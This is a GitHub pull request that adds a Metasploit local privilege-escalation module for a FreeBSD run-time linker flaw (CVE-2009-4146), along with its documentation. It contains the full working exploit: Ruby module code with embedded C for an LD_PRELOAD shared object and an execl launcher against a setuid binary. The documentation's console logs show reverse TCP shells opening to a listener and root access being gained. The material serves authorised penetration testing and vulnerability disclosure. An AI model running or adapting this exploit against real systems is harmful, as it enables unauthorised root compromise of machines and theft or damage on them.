Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add FreeBSD rtld execl() Privilege Escalation module #11808

Merged
merged 1 commit into from May 20, 2019
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
149 changes: 149 additions & 0 deletions documentation/modules/exploit/freebsd/local/rtld_execl_priv_esc.md
@@ -0,0 +1,149 @@
## Description

This module exploits a vulnerability in the FreeBSD
run-time link-editor (rtld).

The rtld `unsetenv()` function fails to remove `LD_*`
environment variables if `__findenv()` fails.

This can be abused to load arbitrary shared objects using
`LD_PRELOAD`, resulting in privileged code execution.


## Vulnerable Application

This module has been tested successfully on:

* FreeBSD 7.2-RELEASE (amd64)
* FreeBSD 8.0-RELEASE (amd64)


## Verification Steps

1. Start `msfconsole`
2. Get a session
3. `use exploit/freebsd/local/rtld_execl_priv_esc`
4. `set SESSION <SESSION>`
5. `check`
6. `run`
7. You should get a new *root* session


## Options

**SESSION**

Which session to use, which can be viewed with `sessions`


## Scenarios

### FreeBSD 7.2-RELEASE (amd64)

```
msf5 > use exploit/freebsd/local/rtld_execl_priv_esc
msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set session 1
session => 1
msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set verbose true
verbose => true
msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(freebsd/local/rtld_execl_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.165:4444
[+] FreeBSD version 7.2-RELEASE appears vulnerable
[+] gcc is installed
[+] /sbin/ping is setuid
[*] Writing '/tmp/.Qv98Z0.c' (149 bytes) ...
[*] Max line length is 131073
[*] Writing 149 bytes in 1 chunks of 543 bytes (octal-encoded), using printf
[*] Writing '/tmp/.Re1l7JG.c' (413 bytes) ...
[*] Max line length is 131073
[*] Writing 413 bytes in 1 chunks of 1470 bytes (octal-encoded), using printf
[*] Writing '/tmp/.X85bYhTRF' (172 bytes) ...
[*] Max line length is 131073
[*] Writing 172 bytes in 1 chunks of 524 bytes (octal-encoded), using printf
[*] Launching exploit...
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for
[*] usage: ping [-AaDdfnoQqRrv] [-c count] [-G sweepmaxsize] [-g sweepminsize]
[*] [-h sweepincrsize] [-i wait] [-l preload] [-M mask | time] [-m ttl]
[*] [-P policy] [-p pattern] [-S src_addr] [-s packetsize] [-t timeout]
[*] [-W waittime] [-z tos] host
[*] ping [-AaDdfLnoQqRrv] [-c count] [-I iface] [-i wait] [-l preload]
[*] [-M mask | time] [-m ttl] [-P policy] [-p pattern] [-S src_addr]
[*] [-s packetsize] [-T ttl] [-t timeout] [-W waittime]
[*] [-z tos] mcast-group
[*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.241:61425) at 2019-05-03 04:34:07 -0400
[+] Deleted /tmp/.Qv98Z0.c
[+] Deleted /tmp/.Qv98Z0.o
[+] Deleted /tmp/.Fv3rwXn.0
[+] Deleted /tmp/.Re1l7JG.c
[+] Deleted /tmp/.Re1l7JG
[+] Deleted /tmp/.X85bYhTRF

id
uid=0(root) gid=0(wheel) groups=0(wheel),1001(user)
uname -a
FreeBSD freebsd-7-2-amd64.local 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Fri May 1 07:18:07 UTC 2009 root@driscoll.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64

```

### FreeBSD 8.0-RELEASE (amd64)

```
msf5 > use exploit/freebsd/local/rtld_execl_priv_esc
msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set session 1
session => 1
msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set verbose true
verbose => true
msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(freebsd/local/rtld_execl_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.165:4444
[+] FreeBSD version 8.0-RELEASE appears vulnerable
[+] gcc is installed
[+] /sbin/ping is setuid
[*] Writing '/tmp/.ppHMfMh.c' (147 bytes) ...
[*] Max line length is 131073
[*] Writing 147 bytes in 1 chunks of 536 bytes (octal-encoded), using printf
[*] Writing '/tmp/.aSlXLjlX.c' (415 bytes) ...
[*] Max line length is 131073
[*] Writing 415 bytes in 1 chunks of 1476 bytes (octal-encoded), using printf
[*] Writing '/tmp/.9BdfNzy' (172 bytes) ...
[*] Max line length is 131073
[*] Writing 172 bytes in 1 chunks of 524 bytes (octal-encoded), using printf
[*] Launching exploit...
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for
[*] usage: ping [-AaDdfnoQqRrv] [-c count] [-G sweepmaxsize] [-g sweepminsize]
[*] [-h sweepincrsize] [-i wait] [-l preload] [-M mask | time] [-m ttl]
[*] [-P policy] [-p pattern] [-S src_addr] [-s packetsize] [-t timeout]
[*] [-W waittime] [-z tos] host
[*] ping [-AaDdfLnoQqRrv] [-c count] [-I iface] [-i wait] [-l preload]
[*] [-M mask | time] [-m ttl] [-P policy] [-p pattern] [-S src_addr]
[*] [-s packetsize] [-T ttl] [-t timeout] [-W waittime]
[*] [-z tos] mcast-group
[*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.239:57343) at 2019-05-03 04:36:16 -0400
[+] Deleted /tmp/.ppHMfMh.c
[+] Deleted /tmp/.ppHMfMh.o
[+] Deleted /tmp/.VWnmV5K86.0
[+] Deleted /tmp/.aSlXLjlX.c
[+] Deleted /tmp/.aSlXLjlX
[+] Deleted /tmp/.9BdfNzy

id
uid=0(root) gid=0(wheel) groups=0(wheel)
uname -a
FreeBSD freebsd-8-0-amd64.local 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:02:08 UTC 2009 root@mason.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64

```

215 changes: 215 additions & 0 deletions modules/exploits/freebsd/local/rtld_execl_priv_esc.rb
@@ -0,0 +1,215 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'FreeBSD rtld execl() Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in the FreeBSD
run-time link-editor (rtld).

The rtld `unsetenv()` function fails to remove `LD_*`
environment variables if `__findenv()` fails.

This can be abused to load arbitrary shared objects using
`LD_PRELOAD`, resulting in privileged code execution.

This module has been tested successfully on:

FreeBSD 7.2-RELEASE (amd64); and
FreeBSD 8.0-RELEASE (amd64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kingcope', # Independent discovery, public disclosure, and exploit
'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824)
'bcoles' # Metasploit (using Kingcope's exploit code [modified])
],
'DisclosureDate' => '2009-11-30',
'Platform' => ['bsd'], # FreeBSD
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell'],
'References' =>
[
['BID', '37154'],
['CVE', '2009-4146'],
['CVE', '2009-4147'],
['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'],
['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'],
['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'],
['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'],
['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'],
['URL', 'https://securitytracker.com/id/1023250']
],
'Targets' => [['Automatic', {}]],
'DefaultOptions' =>
{
'PAYLOAD' => 'bsd/x86/shell_reverse_tcp',
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true,
'WfsDelay' => 10
},
'DefaultTarget' => 0))
register_options [
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/sbin/ping' ])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def suid_exe_path
datastore['SUID_EXECUTABLE']
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def is_root?
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')
end

def check
kernel_release = cmd_exec('uname -r').to_s
unless kernel_release =~ /^(7\.[012]|8\.0)/
vprint_error "FreeBSD version #{kernel_release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "FreeBSD version #{kernel_release} appears vulnerable"

unless command_exists? 'gcc'
Copy link
Contributor

@cbrnrd cbrnrd May 19, 2019

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It does, but this is a FreeBSD module.

The mixins are a mess, and not something I want to tackle in this PR.

Despite BSD and FreeBSD being treated as different platforms in exploit and payload contexts, there are no BSD or FreeBSD mixins. Instead, the closest match is the Unix mixin, which happens to also import msf/core/post/linux/system.

Importing a mixin for a different platform for a single method (that's 1 line long) didn't seem appropriate. This pollutes the namespace and is more likely to introduce issues if the Linux mixins change in the future.

Similarly, there's a method for the is_root? check in the Linux mixins.

Ideally, the UNIX mixin should be updated to support is_root? and has_gcc?, and remove the dependency on msf/core/post/linux/system. The following modules will also need to be updated. Not something I want to tackle in this PR. I think some of the following are unnecessarily including the Unix mixin, and could instead simply import the Linux mixin.

$ grep -rn Msf::Post::Unix modules/
modules/exploits/linux/local/autostart_persistence.rb:10:  include Msf::Post::Unix
modules/exploits/linux/local/rc_local_persistence.rb:10:  include Msf::Post::Unix
modules/exploits/linux/local/service_persistence.rb:10:  include Msf::Post::Unix
modules/exploits/linux/local/cron_persistence.rb:10:  include Msf::Post::Unix
modules/post/linux/gather/ecryptfs_creds.rb:8:  include Msf::Post::Unix
modules/post/linux/manage/sshkey_persistence.rb:14:  include Msf::Post::Unix
modules/post/linux/manage/pseudo_shell.rb:11:  include Msf::Post::Unix
modules/post/multi/gather/maven_creds.rb:11:  include Msf::Post::Unix
modules/post/multi/gather/lastpass_creds.rb:13:  include Msf::Post::Unix
modules/post/multi/gather/docker_creds.rb:10:  include Msf::Post::Unix
modules/post/multi/gather/rsyncd_creds.rb:8:  include Msf::Post::Unix
modules/post/multi/gather/rubygems_api_key.rb:8:  include Msf::Post::Unix
modules/post/multi/gather/fetchmailrc_creds.rb:8:  include Msf::Post::Unix
modules/post/multi/gather/aws_keys.rb:8:  include Msf::Post::Unix
modules/post/multi/gather/netrc_creds.rb:8:  include Msf::Post::Unix
modules/post/multi/gather/ssh_creds.rb:10:  include Msf::Post::Unix
modules/post/multi/gather/gpg_creds.rb:8:  include Msf::Post::Unix
modules/post/multi/gather/dbvis_enum.rb:12:  include Msf::Post::Unix
modules/post/multi/gather/irssi_creds.rb:8:  include Msf::Post::Unix
modules/post/multi/gather/remmina_creds.rb:8:  include Msf::Post::Unix
modules/post/multi/gather/pgpass_creds.rb:8:  include Msf::Post::Unix
modules/post/multi/manage/dbvis_add_db_admin.rb:10:  include Msf::Post::Unix
modules/post/multi/manage/hsts_eraser.rb:10:  include Msf::Post::Unix
modules/post/multi/manage/dbvis_query.rb:10:  include Msf::Post::Unix

vprint_error 'gcc is not installed'
return CheckCode::Safe
end
print_good 'gcc is installed'

unless setuid? suid_exe_path
vprint_error "#{suid_exe_path} is not setuid"
return CheckCode::Detected
end
vprint_good "#{suid_exe_path} is setuid"

CheckCode::Appears
end

def exploit
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

if base_dir.length > 1_000
fail_with Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than 1,000"
end

payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"

executable_data = <<-EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
extern char **environ;
environ=NULL;
system("#{payload_path} &");
}
EOF

executable_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload "#{executable_path}.c", executable_data
output = cmd_exec "gcc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall"
register_file_for_cleanup "#{executable_path}.o"

unless output.blank?
print_error output
fail_with Failure::Unknown, "#{executable_path}.c failed to compile"
end

lib_name = ".#{rand_text_alphanumeric 5..10}"
lib_path = "#{base_dir}/#{lib_name}"
output = cmd_exec "gcc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles"
register_file_for_cleanup "#{lib_path}.0"

unless output.blank?
print_error output
fail_with Failure::Unknown, "#{executable_path}.o failed to compile"
end

exploit_data = <<-EOF
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main() {
extern char **environ;
environ = (char**)calloc(8096, sizeof(char));

environ[0] = (char*)calloc(1024, sizeof(char));
environ[1] = (char*)calloc(1024, sizeof(char));
strcpy(environ[1], "LD_PRELOAD=#{lib_path}.0");

return execl("#{suid_exe_path}", "", (char *)0);
}
EOF

exploit_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload "#{exploit_path}.c", exploit_data
output = cmd_exec "gcc #{exploit_path}.c -o #{exploit_path} -Wall"
register_file_for_cleanup exploit_path

unless output.blank?
print_error output
fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"
end

upload payload_path, generate_payload_exe
chmod payload_path

print_status 'Launching exploit...'
output = cmd_exec exploit_path
output.each_line { |line| vprint_status line.chomp }
end
end